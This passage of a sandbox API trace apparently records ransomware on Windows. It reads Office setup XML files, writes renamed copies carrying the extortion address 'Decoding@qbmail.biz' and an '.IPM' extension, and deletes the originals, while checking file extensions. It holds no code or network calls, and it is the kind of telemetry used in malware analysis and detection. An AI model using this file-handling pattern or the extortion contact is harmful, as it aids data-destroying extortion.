Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0084.668] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=1606) returned 1 [0084.668] CloseHandle (hObject=0x1d4) returned 1 [0084.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 0x20 [0084.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0084.668] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0084.669] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0084.669] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0084.669] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0085.213] GetLastError () returned 0x0 [0085.213] ReadFile (in: hFile=0x1d4, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x646, lpOverlapped=0x0) returned 1 [0085.216] WriteFile (in: hFile=0x1c0, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x650, lpOverlapped=0x0) returned 1 [0085.217] ReadFile (in: hFile=0x1d4, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0085.218] WriteFile (in: hFile=0x1c0, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xf0, lpOverlapped=0x0) returned 1 [0085.218] SetEndOfFile (hFile=0x1c0) returned 1 [0085.218] CloseHandle (hObject=0x1c0) returned 1 [0085.219] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0085.219] SetEndOfFile (hFile=0x1d4) returned 1 [0085.220] CloseHandle (hObject=0x1d4) returned 1 [0085.220] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0085.221] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 1 [0085.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0085.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0085.221] lstrlenW (lpString=".doc") returned 4 [0085.221] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0085.221] lstrlenW (lpString=".docx") returned 5 [0085.221] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0085.221] lstrlenW (lpString=".pdf") returned 4 [0085.221] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0085.221] lstrlenW (lpString=".xls") returned 4 [0085.221] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0085.221] lstrlenW (lpString=".xlsx") returned 5 [0085.222] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0085.222] lstrlenW (lpString=".ppt") returned 4 [0085.222] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0085.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0085.222] lstrlenW (lpString=".zip") returned 4 [0085.222] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0085.222] lstrlenW (lpString=".rar") returned 4 [0085.222] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0085.222] lstrlenW (lpString=".bz2") returned 4 [0085.222] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0085.222] lstrlenW (lpString=".7z") returned 3 [0085.222] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0085.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0085.222] lstrlenW (lpString=".dbf") returned 4 [0085.222] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0085.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0085.223] lstrlenW (lpString=".1cd") returned 4 [0085.223] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0085.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0085.223] lstrlenW (lpString=".jpg") returned 4 [0085.223] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0085.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0085.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0085.223] lstrlenW (lpString=".doc") returned 4 [0085.223] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0085.223] lstrlenW (lpString=".docx") returned 5 [0085.223] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0085.223] lstrlenW (lpString=".pdf") returned 4 [0085.223] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0085.223] lstrlenW (lpString=".xls") returned 4 [0085.223] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0085.223] lstrlenW (lpString=".xlsx") returned 5 [0085.223] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0085.223] lstrlenW (lpString=".ppt") returned 4 [0085.223] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0085.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0085.224] lstrlenW (lpString=".zip") returned 4 [0085.224] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0085.224] lstrlenW (lpString=".rar") returned 4 [0085.224] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0085.224] lstrlenW (lpString=".bz2") returned 4 [0085.224] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0085.224] lstrlenW (lpString=".7z") returned 3 [0085.224] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0085.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0085.224] lstrlenW (lpString=".dbf") returned 4 [0085.224] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0085.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0085.224] lstrlenW (lpString=".1cd") returned 4 [0085.224] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0085.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0085.224] lstrlenW (lpString=".jpg") returned 4 [0085.224] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0085.224] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0085.224] lstrlenW (lpString="SETUP.XML") returned 9 [0085.225] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0085.256] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=1886) returned 1 [0085.256] CloseHandle (hObject=0x1c4) returned 1 [0085.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 0x20 [0085.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0085.256] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0085.257] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0085.257] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0085.257] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0085.257] GetLastError () returned 0x0 [0085.257] ReadFile (in: hFile=0x1c4, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x75e, lpOverlapped=0x0) returned 1 [0085.657] WriteFile (in: hFile=0x204, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x760, lpOverlapped=0x0) returned 1 [0085.689] ReadFile (in: hFile=0x1c4, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0085.689] WriteFile (in: hFile=0x204, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xe6, lpOverlapped=0x0) returned 1 [0085.690] SetEndOfFile (hFile=0x204) returned 1 [0085.690] CloseHandle (hObject=0x204) returned 1 [0085.691] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0085.692] SetEndOfFile (hFile=0x1c4) returned 1 [0085.693] CloseHandle (hObject=0x1c4) returned 1 [0085.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0085.694] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 1 [0085.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0085.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0085.694] lstrlenW (lpString=".doc") returned 4 [0085.694] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0085.694] lstrlenW (lpString=".docx") returned 5 [0085.694] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0085.694] lstrlenW (lpString=".pdf") returned 4 [0085.694] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0085.695] lstrlenW (lpString=".xls") returned 4 [0085.695] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0085.695] lstrlenW (lpString=".xlsx") returned 5 [0085.695] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0085.695] lstrlenW (lpString=".ppt") returned 4 [0085.695] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0085.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0085.695] lstrlenW (lpString=".zip") returned 4 [0085.695] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0085.695] lstrlenW (lpString=".rar") returned 4 [0085.695] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0085.695] lstrlenW (lpString=".bz2") returned 4 [0085.695] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0085.695] lstrlenW (lpString=".7z") returned 3 [0085.695] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0085.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0085.695] lstrlenW (lpString=".dbf") returned 4 [0085.696] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0085.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0085.696] lstrlenW (lpString=".1cd") returned 4 [0085.696] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0085.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0085.696] lstrlenW (lpString=".jpg") returned 4 [0085.696] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0085.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0085.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0085.696] lstrlenW (lpString=".doc") returned 4 [0085.696] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0085.696] lstrlenW (lpString=".docx") returned 5 [0085.696] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0085.696] lstrlenW (lpString=".pdf") returned 4 [0085.696] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0085.697] lstrlenW (lpString=".xls") returned 4 [0085.697] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0085.697] lstrlenW (lpString=".xlsx") returned 5 [0085.697] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0085.697] lstrlenW (lpString=".ppt") returned 4 [0085.697] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0085.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0085.697] lstrlenW (lpString=".zip") returned 4 [0085.697] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0085.697] lstrlenW (lpString=".rar") returned 4 [0085.697] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0085.697] lstrlenW (lpString=".bz2") returned 4 [0085.697] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0085.697] lstrlenW (lpString=".7z") returned 3 [0085.697] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0085.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0085.697] lstrlenW (lpString=".dbf") returned 4 [0085.698] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0085.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0085.698] lstrlenW (lpString=".1cd") returned 4 [0085.698] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0085.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0085.698] lstrlenW (lpString=".jpg") returned 4 [0085.698] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0085.698] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0085.698] lstrlenW (lpString="SETUP.XML") returned 9 [0085.698] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0086.338] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=5884) returned 1 [0086.338] CloseHandle (hObject=0x1d0) returned 1 [0086.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 0x20 [0086.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0086.338] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0086.339] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0086.339] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0086.339] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0086.360] GetLastError () returned 0x0 [0086.360] ReadFile (in: hFile=0x1d0, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x16fc, lpOverlapped=0x0) returned 1 [0086.377] WriteFile (in: hFile=0x1d4, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x1700, lpOverlapped=0x0) returned 1 [0086.378] ReadFile (in: hFile=0x1d0, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0086.378] WriteFile (in: hFile=0x1d4, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xe6, lpOverlapped=0x0) returned 1 [0086.378] SetEndOfFile (hFile=0x1d4) returned 1 [0086.378] CloseHandle (hObject=0x1d4) returned 1 [0086.384] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0086.384] SetEndOfFile (hFile=0x1d0) returned 1 [0086.385] CloseHandle (hObject=0x1d0) returned 1 [0086.385] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0086.386] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 1 [0086.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0086.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0086.386] lstrlenW (lpString=".doc") returned 4 [0086.386] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0086.386] lstrlenW (lpString=".docx") returned 5 [0086.386] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0086.386] lstrlenW (lpString=".pdf") returned 4 [0086.386] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0086.386] lstrlenW (lpString=".xls") returned 4 [0086.386] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0086.386] lstrlenW (lpString=".xlsx") returned 5 [0086.386] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0086.386] lstrlenW (lpString=".ppt") returned 4 [0086.386] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0086.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0086.386] lstrlenW (lpString=".zip") returned 4 [0086.387] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0086.387] lstrlenW (lpString=".rar") returned 4 [0086.387] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0086.387] lstrlenW (lpString=".bz2") returned 4 [0086.387] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0086.387] lstrlenW (lpString=".7z") returned 3 [0086.387] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0086.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0086.387] lstrlenW (lpString=".dbf") returned 4 [0086.387] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0086.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0086.387] lstrlenW (lpString=".1cd") returned 4 [0086.387] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0086.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0086.387] lstrlenW (lpString=".jpg") returned 4 [0086.387] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0086.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0086.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0086.387] lstrlenW (lpString=".doc") returned 4 [0086.387] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0086.387] lstrlenW (lpString=".docx") returned 5 [0086.387] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0086.387] lstrlenW (lpString=".pdf") returned 4 [0086.387] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0086.387] lstrlenW (lpString=".xls") returned 4 [0086.387] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0086.387] lstrlenW (lpString=".xlsx") returned 5 [0086.387] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0086.387] lstrlenW (lpString=".ppt") returned 4 [0086.388] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0086.388] lstrlenW (lpString="C:\\Program 